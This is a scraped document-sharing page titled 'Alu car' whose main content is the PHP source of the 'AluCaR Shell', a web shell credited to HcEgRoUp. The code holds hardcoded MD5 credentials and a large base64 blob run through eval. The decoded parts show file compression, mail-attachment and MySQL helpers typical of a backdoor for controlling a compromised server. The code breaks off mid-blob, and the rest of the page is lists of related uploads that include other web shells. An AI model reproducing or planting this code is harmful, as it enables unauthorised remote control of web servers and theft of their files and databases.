Soumettre la recherche
Mettre en ligne
Alu car
•
Télécharger en tant que TXT, PDF
•
0 j'aime
•
323 vues
G
guest322dc8
Suivre
Signaler
Partager
Signaler
Partager
1 sur 34
Télécharger maintenant
Recommandé
Ok
Ok
guest8e24e4f
Thesis
Thesis
Alejandro Aguilar Extremo
Library Managment System - C++ Program
Library Managment System - C++ Program
Muhammad Danish Badar
Rapid Team Performance Assessment
Rapid Team Performance Assessment
Rofty
Anexoelguionradiofonico
Anexoelguionradiofonico
tilano1
Overpsss API / Overpass-Turbo
Overpsss API / Overpass-Turbo
Yu-Chin Tsai
C99
C99
sifo12
Itsecteam shell
Itsecteam shell
ady36
Recommandé
Ok
Ok
guest8e24e4f
Thesis
Thesis
Alejandro Aguilar Extremo
Library Managment System - C++ Program
Library Managment System - C++ Program
Muhammad Danish Badar
Rapid Team Performance Assessment
Rapid Team Performance Assessment
Rofty
Anexoelguionradiofonico
Anexoelguionradiofonico
tilano1
Overpsss API / Overpass-Turbo
Overpsss API / Overpass-Turbo
Yu-Chin Tsai
C99
C99
sifo12
Itsecteam shell
Itsecteam shell
ady36
Танки_в_Лунапарке: нагрузочное_тестирование_в_Яндексе
Танки_в_Лунапарке: нагрузочное_тестирование_в_Яндексе
Yandex
C99[2]
C99[2]
guest8914af
BCIC Town hall may5th
BCIC Town hall may5th
Danny Robinson
Всеволод Струкчинский: Node.js
Всеволод Струкчинский: Node.js
Yandex
Jack oughton ‘virtuous writing checklist' v1.0
Jack oughton ‘virtuous writing checklist' v1.0
Jack Oughton
Primera Reunión del SGLC. Alan Mossman
Primera Reunión del SGLC. Alan Mossman
Fernando Cerveró Romero
Audiovisual Alacrity: Managing Timely Acces to AV Collections
Audiovisual Alacrity: Managing Timely Acces to AV Collections
Siobhan C. Hagan
Building Your First Widget
Building Your First Widget
Chris Wilcoxson
Eric Redmond – Distributed Search on Riak 2.0 - NoSQL matters Barcelona 2014
Eric Redmond – Distributed Search on Riak 2.0 - NoSQL matters Barcelona 2014
NoSQLmatters
Mecanismos de falla
Mecanismos de falla
Edy Huanca
Al Fazl International - 1st January 2016 Weekly UK
Al Fazl International - 1st January 2016 Weekly UK
muzaffertahir9
Apache Tomcat Shutdown Startup Script Shell
Apache Tomcat Shutdown Startup Script Shell
Anar Godjaev
Document
Document
viwviw
R57shell
R57shell
ady36
Drehbuch zum Talk "Rapid Prototyping mit PHP Frameworks"
Drehbuch zum Talk "Rapid Prototyping mit PHP Frameworks"
Ralf Eggert
A Backbone.js Tutorial for the Impatient - Part 1
A Backbone.js Tutorial for the Impatient - Part 1
jsalonen Salonen
Science World Board Presentation
Science World Board Presentation
Danny Robinson
070817gijyutusinnsasyoumei[1]
070817gijyutusinnsasyoumei[1]
guest3b547c
Good cowboys
Good cowboys
guest988855
Sail 2010 Connor
Sail 2010 Connor
econnore
Barclays presentation
Barclays presentation
Joel Blake FRSA
подг. семинар баку 0909
подг. семинар баку 0909
guest194497
Contenu connexe
Tendances
Танки_в_Лунапарке: нагрузочное_тестирование_в_Яндексе
Танки_в_Лунапарке: нагрузочное_тестирование_в_Яндексе
Yandex
C99[2]
C99[2]
guest8914af
BCIC Town hall may5th
BCIC Town hall may5th
Danny Robinson
Всеволод Струкчинский: Node.js
Всеволод Струкчинский: Node.js
Yandex
Jack oughton ‘virtuous writing checklist' v1.0
Jack oughton ‘virtuous writing checklist' v1.0
Jack Oughton
Primera Reunión del SGLC. Alan Mossman
Primera Reunión del SGLC. Alan Mossman
Fernando Cerveró Romero
Audiovisual Alacrity: Managing Timely Acces to AV Collections
Audiovisual Alacrity: Managing Timely Acces to AV Collections
Siobhan C. Hagan
Building Your First Widget
Building Your First Widget
Chris Wilcoxson
Eric Redmond – Distributed Search on Riak 2.0 - NoSQL matters Barcelona 2014
Eric Redmond – Distributed Search on Riak 2.0 - NoSQL matters Barcelona 2014
NoSQLmatters
Mecanismos de falla
Mecanismos de falla
Edy Huanca
Al Fazl International - 1st January 2016 Weekly UK
Al Fazl International - 1st January 2016 Weekly UK
muzaffertahir9
Apache Tomcat Shutdown Startup Script Shell
Apache Tomcat Shutdown Startup Script Shell
Anar Godjaev
Document
Document
viwviw
R57shell
R57shell
ady36
Drehbuch zum Talk "Rapid Prototyping mit PHP Frameworks"
Drehbuch zum Talk "Rapid Prototyping mit PHP Frameworks"
Ralf Eggert
A Backbone.js Tutorial for the Impatient - Part 1
A Backbone.js Tutorial for the Impatient - Part 1
jsalonen Salonen
Science World Board Presentation
Science World Board Presentation
Danny Robinson
Tendances
(17)
Танки_в_Лунапарке: нагрузочное_тестирование_в_Яндексе
Танки_в_Лунапарке: нагрузочное_тестирование_в_Яндексе
C99[2]
C99[2]
BCIC Town hall may5th
BCIC Town hall may5th
Всеволод Струкчинский: Node.js
Всеволод Струкчинский: Node.js
Jack oughton ‘virtuous writing checklist' v1.0
Jack oughton ‘virtuous writing checklist' v1.0
Primera Reunión del SGLC. Alan Mossman
Primera Reunión del SGLC. Alan Mossman
Audiovisual Alacrity: Managing Timely Acces to AV Collections
Audiovisual Alacrity: Managing Timely Acces to AV Collections
Building Your First Widget
Building Your First Widget
Eric Redmond – Distributed Search on Riak 2.0 - NoSQL matters Barcelona 2014
Eric Redmond – Distributed Search on Riak 2.0 - NoSQL matters Barcelona 2014
Mecanismos de falla
Mecanismos de falla
Al Fazl International - 1st January 2016 Weekly UK
Al Fazl International - 1st January 2016 Weekly UK
Apache Tomcat Shutdown Startup Script Shell
Apache Tomcat Shutdown Startup Script Shell
Document
Document
R57shell
R57shell
Drehbuch zum Talk "Rapid Prototyping mit PHP Frameworks"
Drehbuch zum Talk "Rapid Prototyping mit PHP Frameworks"
A Backbone.js Tutorial for the Impatient - Part 1
A Backbone.js Tutorial for the Impatient - Part 1
Science World Board Presentation
Science World Board Presentation
En vedette
070817gijyutusinnsasyoumei[1]
070817gijyutusinnsasyoumei[1]
guest3b547c
Good cowboys
Good cowboys
guest988855
Sail 2010 Connor
Sail 2010 Connor
econnore
Barclays presentation
Barclays presentation
Joel Blake FRSA
подг. семинар баку 0909
подг. семинар баку 0909
guest194497
Barclays Presentation
Barclays Presentation
Joel Blake FRSA
Στατιστική
Στατιστική
Eyurt
Virginia Masegosa - Optimització dels costos en la gestió dels residus
Virginia Masegosa - Optimització dels costos en la gestió dels residus
OICOS - Estrategia Ambiental
En vedette
(8)
070817gijyutusinnsasyoumei[1]
070817gijyutusinnsasyoumei[1]
Good cowboys
Good cowboys
Sail 2010 Connor
Sail 2010 Connor
Barclays presentation
Barclays presentation
подг. семинар баку 0909
подг. семинар баку 0909
Barclays Presentation
Barclays Presentation
Στατιστική
Στατιστική
Virginia Masegosa - Optimització dels costos en la gestió dels residus
Virginia Masegosa - Optimització dels costos en la gestió dels residus
Similaire à Alu car
SER - SIP Express Router
SER - SIP Express Router
Daniel-Constantin Mierla
Security: The Great WordPress Lockdown - WordCamp Melbourne - February 2011
Security: The Great WordPress Lockdown - WordCamp Melbourne - February 2011
John Ford
WordPress Security: Be a Superhero - WordCamp Raleigh - May 2011
WordPress Security: Be a Superhero - WordCamp Raleigh - May 2011
John Ford
Java
Java
Sravya221181
java-introduction.pdf
java-introduction.pdf
DngTin307322
R57.Php
R57.Php
guest63876e
C99
C99
sosoion
Identifying A Unifying Mechanism for the Implementation of Concurrency Abstra...
Identifying A Unifying Mechanism for the Implementation of Concurrency Abstra...
Stefan Marr
Send.php
Send.php
abdoahmd44
Verboides cuadernillo
Verboides cuadernillo
novela2017
C99
C99
You Bl
wreewrer
wreewrer
JohnHotyn
JavaScript, React Native and Performance at react-europe 2016
JavaScript, React Native and Performance at react-europe 2016
Tadeu Zagallo
Server not ready
Server not ready
b3randal
Health and Wellness in the Dairy Sector: How to use this to your Brand's Adva...
Health and Wellness in the Dairy Sector: How to use this to your Brand's Adva...
HMT18
Ph 35
Ph 35
denisparkhoc
Guía de ingreso a plataforma presmad
Guía de ingreso a plataforma presmad
Miguel Rivera
Parinya non fulltext
Parinya non fulltext
Cogito123
NRI Report
NRI Report
Obama White House
Nop2
Nop2
guestea6d59
Similaire à Alu car
(20)
SER - SIP Express Router
SER - SIP Express Router
Security: The Great WordPress Lockdown - WordCamp Melbourne - February 2011
Security: The Great WordPress Lockdown - WordCamp Melbourne - February 2011
WordPress Security: Be a Superhero - WordCamp Raleigh - May 2011
WordPress Security: Be a Superhero - WordCamp Raleigh - May 2011
Java
Java
java-introduction.pdf
java-introduction.pdf
R57.Php
R57.Php
C99
C99
Identifying A Unifying Mechanism for the Implementation of Concurrency Abstra...
Identifying A Unifying Mechanism for the Implementation of Concurrency Abstra...
Send.php
Send.php
Verboides cuadernillo
Verboides cuadernillo
C99
C99
wreewrer
wreewrer
JavaScript, React Native and Performance at react-europe 2016
JavaScript, React Native and Performance at react-europe 2016
Server not ready
Server not ready
Health and Wellness in the Dairy Sector: How to use this to your Brand's Adva...
Health and Wellness in the Dairy Sector: How to use this to your Brand's Adva...
Ph 35
Ph 35
Guía de ingreso a plataforma presmad
Guía de ingreso a plataforma presmad
Parinya non fulltext
Parinya non fulltext
NRI Report
NRI Report
Nop2
Nop2
Alu car
1.
<?php $language='eng'; $auth = 0; $name='ecd708a016f8407bd27cc0a02677351b';
//// AluCaR $pass='1b8644e229c999e4f6ba799483b196ce'; //// HcEgRoUp.NeT / *********************************************************************************** *******************/ eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKEVfQUxMKTsNCnNldF9tYWdpY19xdW90ZXNfcnVudGl tZSgwKTsNCkBzZXRfdGltZV9saW1pdCgwKTsNCkBpbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLDApOw 0KQGluaV9zZXQoJ291dHB1dF9idWZmZXJpbmcnLDApOw0KJHNhZmVfbW9kZSA9IEBpbmlfZ2V0KCdzYWZlX 21vZGUnKTsNCiR2ZXJzaW9uID0gJ1ZpZXRUZWFtIEVkaXRpb24nOw0KaWYodmVyc2lvbl9jb21wYXJlKHBo cHZlcnNpb24oKSwgJzQuMS4wJykgPT0gLTEpDQogew0KICRfUE9TVCAgID0gJiRIVFRQX1BPU1RfVkFSUzs NCiAkX0dFVCAgICA9ICYkSFRUUF9HRVRfVkFSUzsNCiAkX1NFUlZFUiA9ICYkSFRUUF9TRVJWRVJfVkFSUz sNCiAkX0NPT0tJRSA9ICYkSFRUUF9DT09LSUVfVkFSUzsNCiB9DQppZiAoQGdldF9tYWdpY19xdW90ZXNfZ 3BjKCkpDQogew0KIGZvcmVhY2ggKCRfUE9TVCBhcyAkaz0+JHYpDQogIHsNCiAgJF9QT1NUWyRrXSA9IHN0 cmlwc2xhc2hlcygkdik7DQogIH0NCiBmb3JlYWNoICgkX0NPT0tJRSBhcyAkaz0+JHYpDQogIHsNCiAgJF9 DT09LSUVbJGtdID0gc3RyaXBzbGFzaGVzKCR2KTsNCiAgfQ0KIH0NCg0KaWYoJGF1dGggPT0gMSkgew0KaW YgKCFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKSB8fCBtZDUoJF9TRVJWRVJbJ1BIUF9BVVRIX 1VTRVInXSkhPSAkbmFtZSB8fCBtZDUoJF9TRVJWRVJbJ1BIUF9BVVRIX1BXJ10pIT0gJHBhc3MpDQogICB7 DQogICBoZWFkZXIoJ1dXVy1BdXRoZW50aWNhdGU6IEJhc2ljIHJlYWxtPSJoQ2UtR3JPdVAgKyBBbHVDYVI iJyk7DQogICBoZWFkZXIoJ0hUVFAvMS4wIDQwMSBVbmF1dGhvcml6ZWQnKTsNCiAgIGV4aXQoIjxiPkNvbn RhY3QgPGEgaHJlZj1odHRwOi8vaGNlZ3JvdXAudm4vIDwvYT4gOiBBY2Nlc3MgRGVuaWVkPC9iPiIpOw0KI CAgfQ0KfQ0KJGhlYWQgPSAnPCEtLSBFZGl0ZWQgYnkgQWx1Y2FyIC0tPg0KPGh0bWw+DQo8aGVhZD4NCjwv c2NyaXB0Pg0KPHRpdGxlPkFsdUNhUiBTaGVsbDwvdGl0bGU+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW5 0LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCI+DQoNCjxTVFlMRT4NCnRyIHsNCk JPUkRFUi1SSUdIVDogICNCbGFjayAxcHggc29saWQ7DQpCT1JERVItVE9QOiAgICBCbGFjayAxcHggc29sa WQ7DQpCT1JERVItTEVGVDogICBCbGFjayAxcHggc29saWQ7DQpCT1JERVItQk9UVE9NOiAjQmxhY2sgMXB4 IHNvbGlkOw0KQk9SREVSLUNPTE9SOiAjODNjODA5Ow0KY29sb3I6IFdoaXRlOw0KfQ0KdGQgew0KQk9SREV SLVJJR0hUOiAgI0JsYWNrIDFweCBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgIEJsYWNrIDFweCBzb2xpZDsNCk JPUkRFUi1MRUZUOiAgIEJsYWNrIDFweCBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICNCbGFjayAxcHggc29sa WQ7DQpCT1JERVItQ09MT1I6ICM4M2M4MDk7DQpjb2xvcjogV2hpdGU7DQp9DQoudGFibGUxIHsNCkJPUkRF UjogMHB4Ow0KQk9SREVSLUNPTE9SOiAjODNjODA5Ow0KQkFDS0dST1VORC1DT0xPUjogQmxhY2s7DQpjb2x vcjogV2hpdGU7DQp9DQoudGQxIHsNCkJPUkRFUjogMHB4Ow0KQk9SREVSLUNPTE9SOiAjODNjODA5Ow0KZm 9udDogN3B0IFZlcmRhbmE7DQpjb2xvcjogV2hpdGU7DQp9DQoudHIxIHsNCkJPUkRFUjogMHB4Ow0KQk9SR EVSLUNPTE9SOiAjODNjODA5Ow0KY29sb3I6IFdoaXRlOw0KfQ0KdGFibGUgew0KQk9SREVSOiAgQmxhY2sg MXB4IG91dHNldDsNCkJPUkRFUi1DT0xPUjogIzgzYzgwOTsNCkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOw0 KY29sb3I6IFdoaXRlOw0KfQ0KaW5wdXQgew0KYm9yZGVyCQkJOiBzb2xpZCAxcHg7DQpib3JkZXItY29sb3 IJCTogV2hpdGUgV2hpdGUgV2hpdGUgV2hpdGU7DQpCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsNCmZvbnQ6I DhwdCBWZXJkYW5hOw0KY29sb3I6IFdoaXRlOw0KfQ0Kc2VsZWN0IHsNCkJPUkRFUi1SSUdIVDogIEJsYWNr IDFweCBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgIFdoaXRlIDFweCBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgIFd oaXRlIDFweCBzb2xpZDsNCkJPUkRFUi1CT1RUT006IEJsYWNrIDFweCBzb2xpZDsNCkJPUkRFUi1DT0xPUj ogV2hpdGU7DQpCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsNCmZvbnQ6IDhwdCBWZXJkYW5hOw0KY29sb3I6I FJlZDsNCn0NCnN1Ym1pdCB7DQpCT1JERVI6ICBidXR0b25oaWdobGlnaHQgMnB4IG91dHNldDsNCkJBQ0tH Uk9VTkQtQ09MT1I6IEJsYWNrOw0Kd2lkdGg6IDMwJTsNCmNvbG9yOiBXaGl0ZTsNCn0NCnRleHRhcmVhIHs NCkJPUkRFUi1SSUdIVDogIEJsYWNrIDFweCBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgIFdoaXRlIDFweCBzb2 xpZDsNCkJPUkRFUi1MRUZUOiAgIFdoaXRlIDFweCBzb2xpZDsNCkJPUkRFUi1CT1RUT006IEJsYWNrIDFwe CBzb2xpZDsNCkJPUkRFUi1DT0xPUjogIzgzYzgwOTsNCkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOw0KZm9u dDogRml4ZWRzeXMgYm9sZDsNCmNvbG9yOiBXaGl0ZTsNCn0NCkJPRFkgew0KCVNDUk9MTEJBUi1GQUNFLUN PTE9SOiBCbGFjazsgU0NST0xMQkFSLUhJR0hMSUdIVC1DT0xPUjogV2hpdGU7IFNDUk9MTEJBUi1TSEFET1 ctQ09MT1I6IFdoaXRlOyBTQ1JPTExCQVItM0RMSUdIVC1DT0xPUjogV2hpdGU7IFNDUk9MTEJBUi1BUlJPV y1DT0xPUjogQmxhY2s7IFNDUk9MTEJBUi1UUkFDSy1DT0xPUjogV2hpdGU7IFNDUk9MTEJBUi1EQVJLU0hB RE9XLUNPTE9SOiBXaGl0ZQ0KbWFyZ2luOiAxcHg7DQpjb2xvcjogUmVkOw0KYmFja2dyb3VuZC1jb2xvcjo gQmxhY2s7DQp9DQoubWFpbiB7DQptYXJnaW4JCQk6IC0yODdweCAwcHggMHB4IC00OTBweDsNCmJvcmRlcg kJCTogV2hpdGUgc29saWQgMXB4Ow0KQk9SREVSLUNPTE9SOiAjODNjODA5Ow0KfQ0KLnR0IHsNCmJhY2tnc m91bmQtY29sb3I6IEJsYWNrOw0KfQ0KDQpBOmxpbmsgew0KCUNPTE9SOiAjMzQ3MjAyOyBURVhULURFQ09S QVRJT046IG5vbmUNCn0NCkE6dmlzaXRlZCB7DQoJQ09MT1I6ICMzNDcyMDI7IFRFWFQtREVDT1JBVElPTjo gbm9uZQ0KfQ0KQTpob3ZlciB7DQoJQ09MT1I6IFdoaXRlOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCk E6YWN0aXZlIHsNCglDT0xPUjogV2hpdGU7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KPC9TVFlMRT4NC
2.
jxzY3JpcHQgbGFuZ3VhZ2U9XCdqYXZhc2NyaXB0XCc+DQpmdW5jdGlvbiBoaWRlX2RpdihpZCkNCnsNCiAg ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoaWQpLnN0eWxlLmRpc3BsYXkgPSBcJ25vbmVcJzsNCiAgZG9jdW1 lbnQuY29va2llPWlkK1wnPTA7XCc7DQp9DQpmdW5jdGlvbiBzaG93X2RpdihpZCkNCnsNCiAgZG9jdW1lbn QuZ2V0RWxlbWVudEJ5SWQoaWQpLnN0eWxlLmRpc3BsYXkgPSBcJ2Jsb2NrXCc7DQogIGRvY3VtZW50LmNvb 2tpZT1pZCtcJz0xO1wnOw0KfQ0KZnVuY3Rpb24gY2hhbmdlX2RpdnN0KGlkKQ0Kew0KICBpZiAoZG9jdW1l bnQuZ2V0RWxlbWVudEJ5SWQoaWQpLnN0eWxlLmRpc3BsYXkgPT0gXCdub25lXCcpDQogICAgc2hvd19kaXY oaWQpOw0KICBlbHNlDQogICAgaGlkZV9kaXYoaWQpOw0KfQ0KPC9zY3JpcHQ+JzsNCmNsYXNzIHppcGZpbG UNCnsNCiAgICB2YXIgJGRhdGFzZWMgICAgICA9IGFycmF5KCk7DQogICAgdmFyICRjdHJsX2RpciAgICAgP SBhcnJheSgpOw0KICAgIHZhciAkZW9mX2N0cmxfZGlyID0gIlx4NTBceDRiXHgwNVx4MDZceDAwXHgwMFx4 MDBceDAwIjsNCiAgICB2YXIgJG9sZF9vZmZzZXQgICA9IDA7DQogICAgZnVuY3Rpb24gdW5peDJEb3NUaW1 lKCR1bml4dGltZSA9IDApIHsNCiAgICAgICAgJHRpbWVhcnJheSA9ICgkdW5peHRpbWUgPT0gMCkgPyBnZX RkYXRlKCkgOiBnZXRkYXRlKCR1bml4dGltZSk7DQogICAgICAgIGlmICgkdGltZWFycmF5Wyd5ZWFyJ10gP CAxOTgwKSB7DQogICAgICAgICAgICAkdGltZWFycmF5Wyd5ZWFyJ10gICAgPSAxOTgwOw0KICAgICAgICAg ICAgJHRpbWVhcnJheVsnbW9uJ10gICAgID0gMTsNCiAgICAgICAgICAgICR0aW1lYXJyYXlbJ21kYXknXSA gICA9IDE7DQogICAgICAgICAgICAkdGltZWFycmF5Wydob3VycyddICAgPSAwOw0KICAgICAgICAgICAgJH RpbWVhcnJheVsnbWludXRlcyddID0gMDsNCiAgICAgICAgICAgICR0aW1lYXJyYXlbJ3NlY29uZHMnXSA9I DA7DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuICgoJHRpbWVhcnJheVsneWVhciddIC0gMTk4MCkgPDwg MjUpIHwgKCR0aW1lYXJyYXlbJ21vbiddIDw8IDIxKSB8ICgkdGltZWFycmF5WydtZGF5J10gPDwgMTYpIHw NCiAgICAgICAgICAgICAgICAoJHRpbWVhcnJheVsnaG91cnMnXSA8PCAxMSkgfCAoJHRpbWVhcnJheVsnbW ludXRlcyddIDw8IDUpIHwgKCR0aW1lYXJyYXlbJ3NlY29uZHMnXSA+PiAxKTsNCiAgICB9DQogICAgZnVuY 3Rpb24gYWRkRmlsZSgkZGF0YSwgJG5hbWUsICR0aW1lID0gMCkNCiAgICB7DQogICAgICAgICRuYW1lICAg ICA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJG5hbWUpOw0KICAgICAgICAkZHRpbWUgICAgPSBkZWNoZXg oJHRoaXMtPnVuaXgyRG9zVGltZSgkdGltZSkpOw0KICAgICAgICAkaGV4ZHRpbWUgPSAnXHgnIC4gJGR0aW 1lWzZdIC4gJGR0aW1lWzddDQogICAgICAgICAgICAgICAgICAuICdceCcgLiAkZHRpbWVbNF0gLiAkZHRpb WVbNV0NCiAgICAgICAgICAgICAgICAgIC4gJ1x4JyAuICRkdGltZVsyXSAuICRkdGltZVszXQ0KICAgICAg ICAgICAgICAgICAgLiAnXHgnIC4gJGR0aW1lWzBdIC4gJGR0aW1lWzFdOw0KICAgICAgICBldmFsKCckaGV 4ZHRpbWUgPSAiJyAuICRoZXhkdGltZSAuICciOycpOw0KICAgICAgICAkZnIgICA9ICJceDUwXHg0Ylx4MD NceDA0IjsNCiAgICAgICAgJGZyICAgLj0gIlx4MTRceDAwIjsNCiAgICAgICAgJGZyICAgLj0gIlx4MDBce DAwIjsNCiAgICAgICAgJGZyICAgLj0gIlx4MDhceDAwIjsNCiAgICAgICAgJGZyICAgLj0gJGhleGR0aW1l Ow0KICAgICAgICAkdW5jX2xlbiA9IHN0cmxlbigkZGF0YSk7DQogICAgICAgICRjcmMgICAgID0gY3JjMzI oJGRhdGEpOw0KICAgICAgICAkemRhdGEgICA9IGd6Y29tcHJlc3MoJGRhdGEpOw0KICAgICAgICAkemRhdG EgICA9IHN1YnN0cihzdWJzdHIoJHpkYXRhLCAwLCBzdHJsZW4oJHpkYXRhKSAtIDQpLCAyKTsNCiAgICAgI CAgJGNfbGVuICAgPSBzdHJsZW4oJHpkYXRhKTsNCiAgICAgICAgJGZyICAgICAgLj0gcGFjaygnVicsICRj cmMpOw0KICAgICAgICAkZnIgICAgICAuPSBwYWNrKCdWJywgJGNfbGVuKTsNCiAgICAgICAgJGZyICAgICA gLj0gcGFjaygnVicsICR1bmNfbGVuKTsNCiAgICAgICAgJGZyICAgICAgLj0gcGFjaygndicsIHN0cmxlbi gkbmFtZSkpOw0KICAgICAgICAkZnIgICAgICAuPSBwYWNrKCd2JywgMCk7DQogICAgICAgICRmciAgICAgI C49ICRuYW1lOw0KICAgICAgICAkZnIgLj0gJHpkYXRhOw0KICAgICAgICAkdGhpcyAtPiBkYXRhc2VjW10g PSAkZnI7DQogICAgICAgICRjZHJlYyA9ICJceDUwXHg0Ylx4MDFceDAyIjsNCiAgICAgICAgJGNkcmVjIC4 9ICJceDAwXHgwMCI7DQogICAgICAgICRjZHJlYyAuPSAiXHgxNFx4MDAiOw0KICAgICAgICAkY2RyZWMgLj 0gIlx4MDBceDAwIjsNCiAgICAgICAgJGNkcmVjIC49ICJceDA4XHgwMCI7DQogICAgICAgICRjZHJlYyAuP SAkaGV4ZHRpbWU7DQogICAgICAgICRjZHJlYyAuPSBwYWNrKCdWJywgJGNyYyk7DQogICAgICAgICRjZHJl YyAuPSBwYWNrKCdWJywgJGNfbGVuKTsNCiAgICAgICAgJGNkcmVjIC49IHBhY2soJ1YnLCAkdW5jX2xlbik 7DQogICAgICAgICRjZHJlYyAuPSBwYWNrKCd2Jywgc3RybGVuKCRuYW1lKSApOw0KICAgICAgICAkY2RyZW MgLj0gcGFjaygndicsIDAgKTsNCiAgICAgICAgJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7DQogICAgICAgI CRjZHJlYyAuPSBwYWNrKCd2JywgMCApOw0KICAgICAgICAkY2RyZWMgLj0gcGFjaygndicsIDAgKTsNCiAg ICAgICAgJGNkcmVjIC49IHBhY2soJ1YnLCAzMiApOw0KICAgICAgICAkY2RyZWMgLj0gcGFjaygnVicsICR 0aGlzIC0+IG9sZF9vZmZzZXQgKTsNCiAgICAgICAgJHRoaXMgLT4gb2xkX29mZnNldCArPSBzdHJsZW4oJG ZyKTsNCiAgICAgICAgJGNkcmVjIC49ICRuYW1lOw0KICAgICAgICAkdGhpcyAtPiBjdHJsX2RpcltdID0gJ GNkcmVjOw0KICAgIH0NCiAgICBmdW5jdGlvbiBmaWxlKCkNCiAgICB7DQogICAgICAgICRkYXRhICAgID0g aW1wbG9kZSgnJywgJHRoaXMgLT4gZGF0YXNlYyk7DQogICAgICAgICRjdHJsZGlyID0gaW1wbG9kZSgnJyw gJHRoaXMgLT4gY3RybF9kaXIpOw0KICAgICAgICByZXR1cm4NCiAgICAgICAgICAgICRkYXRhIC4NCiAgIC AgICAgICAgICRjdHJsZGlyIC4NCiAgICAgICAgICAgICR0aGlzIC0+IGVvZl9jdHJsX2RpciAuDQogICAgI CAgICAgICBwYWNrKCd2Jywgc2l6ZW9mKCR0aGlzIC0+IGN0cmxfZGlyKSkgLg0KICAgICAgICAgICAgcGFj aygndicsIHNpemVvZigkdGhpcyAtPiBjdHJsX2RpcikpIC4NCiAgICAgICAgICAgIHBhY2soJ1YnLCBzdHJ sZW4oJGN0cmxkaXIpKSAuDQogICAgICAgICAgICBwYWNrKCdWJywgc3RybGVuKCRkYXRhKSkgLg0KICAgIC AgICAgICAgIlx4MDBceDAwIjsNCiAgICB9DQp9DQpmdW5jdGlvbiBjb21wcmVzcygmJGZpbGVuYW1lLCYkZ mlsZWR1bXAsJGNvbXByZXNzKQ0KIHsNCiAgICBnbG9iYWwgJGNvbnRlbnRfZW5jb2Rpbmc7DQogICAgZ2xv YmFsICRtaW1lX3R5cGU7DQogICAgaWYgKCRjb21wcmVzcyA9PSAnYnppcCcgJiYgQGZ1bmN0aW9uX2V4aXN 0cygnYnpjb21wcmVzcycpKQ0KICAgICB7DQogICAgICAgICRmaWxlbmFtZSAgLj0gJy5iejInOw0KICAgIC
3.
AgICAkbWltZV90eXBlID0gJ2FwcGxpY2F0aW9uL3gtYnppcDInOw0KICAgICAgICAkZmlsZWR1bXAgPSBie mNvbXByZXNzKCRmaWxlZHVtcCk7DQogICAgIH0NCiAgICAgZWxzZSBpZiAoJGNvbXByZXNzID09ICdnemlw JyAmJiBAZnVuY3Rpb25fZXhpc3RzKCdnemVuY29kZScpKQ0KICAgICB7DQogICAgICAgICRmaWxlbmFtZSA gLj0gJy5neic7DQogICAgICAgICRjb250ZW50X2VuY29kaW5nID0gJ3gtZ3ppcCc7DQogICAgICAgICRtaW 1lX3R5cGUgPSAnYXBwbGljYXRpb24veC1nemlwJzsNCiAgICAgICAgJGZpbGVkdW1wID0gZ3plbmNvZGUoJ GZpbGVkdW1wKTsNCiAgICAgfQ0KICAgICBlbHNlIGlmICgkY29tcHJlc3MgPT0gJ3ppcCcgJiYgQGZ1bmN0 aW9uX2V4aXN0cygnZ3pjb21wcmVzcycpKQ0KICAgICB7DQogICAgIAkkZmlsZW5hbWUgLj0gJy56aXAnOw0 KICAgICAgICAkbWltZV90eXBlID0gJ2FwcGxpY2F0aW9uL3ppcCc7DQogICAgICAgICR6aXBmaWxlID0gbm V3IHppcGZpbGUoKTsNCiAgICAgICAgJHppcGZpbGUgLT4gYWRkRmlsZSgkZmlsZWR1bXAsIHN1YnN0cigkZ mlsZW5hbWUsIDAsIC00KSk7DQogICAgICAgICRmaWxlZHVtcCA9ICR6aXBmaWxlIC0+IGZpbGUoKTsNCiAg ICAgfQ0KICAgICBlbHNlDQogICAgIHsNCiAgICA gCSRtaW1lX3R5cGUgPSAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJzsNCiAgICAgfQ0KIH0NCmZ1bmN0aW 9uIG1haWxhdHRhY2goJHRvLCRmcm9tLCRzdWJqLCRhdHRhY2gpDQogew0KICRoZWFkZXJzICA9ICJGcm9tO iAkZnJvbVxyXG4iOw0KICRoZWFkZXJzIC49ICJNSU1FLVZlcnNpb246IDEuMFxyXG4iOw0KICRoZWFkZXJz IC49ICJDb250ZW50LVR5cGU6ICIuJGF0dGFjaFsndHlwZSddOw0KICRoZWFkZXJzIC49ICI7IG5hbWU9XCI iLiRhdHRhY2hbJ25hbWUnXS4iXCJcclxuIjsNCiAkaGVhZGVycyAuPSAiQ29udGVudC1UcmFuc2Zlci1Fbm NvZGluZzogYmFzZTY0XHJcblxyXG4iOw0KICRoZWFkZXJzIC49IGNodW5rX3NwbGl0KGJhc2U2NF9lbmNvZ GUoJGF0dGFjaFsnY29udGVudCddKSkuIlxyXG4iOw0KIGlmKEBtYWlsKCR0bywkc3ViaiwiIiwkaGVhZGVy cykpIHsgcmV0dXJuIDE7IH0NCiByZXR1cm4gMDsNCiB9DQpjbGFzcyBteV9zcWwNCiB7DQogdmFyICRob3N 0ID0gJ2xvY2FsaG9zdCc7DQogdmFyICRwb3J0ID0gJyc7DQogdmFyICR1c2VyID0gJyc7DQogdmFyICRwYX NzID0gJyc7DQogdmFyICRiYXNlID0gJyc7DQogdmFyICRkYiAgID0gJyc7DQogdmFyICRjb25uZWN0aW9uO w0KIHZhciAkcmVzOw0KIHZhciAkZXJyb3I7DQogdmFyICRyb3dzOw0KIHZhciAkY29sdW1uczsNCiB2YXIg 